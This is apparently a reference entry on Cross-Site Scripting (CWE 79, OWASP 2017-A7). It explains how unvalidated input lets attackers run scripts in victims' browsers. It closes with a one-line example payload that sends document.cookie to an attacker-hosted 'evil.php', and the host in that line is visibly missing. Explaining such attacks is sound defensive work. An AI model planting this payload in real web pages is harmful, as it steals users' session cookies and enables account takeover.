Cross-site Scripting

  • CAPEC 19
  • CWE 79
  • WASC 8
  • OWASP 2017-A7

Cross-Site Scripting (XSS) attacks are a type of injection, in which malicious scripts are injected into otherwise benign and trusted websites. XSS attacks occur when an attacker uses a web application to send malicious code, generally in the form of a browser side script, to a different end user. Flaws that allow these attacks to succeed are quite widespread and occur anywhere a web application uses input from a user within the output it generates without validating or encoding it.

An attacker can use XSS to send a malicious script to an unsuspecting user. The end user's browser has no way to know that the script should not be trusted, and will execute the script. Because it thinks the script came from a trusted source, the malicious script can perform a wide variety of actions, such as stealing cookies, session tokens, logging keystrokes or other sensitive information retained by the browser and used with that site. These scripts can even rewrite the content of the HTML page.

If the application doesn't validate the input data, the attacker can easily steal a cookie from an authenticated user. All the attacker has to do is to place the following code in any posted input(ie: message boards, private messages, user profiles):

  new Image().src="//"+encodeURI(document.cookie);

The above code will pass content of the cookie to the evil.php script which is hosted in address and appends received cookie to a file.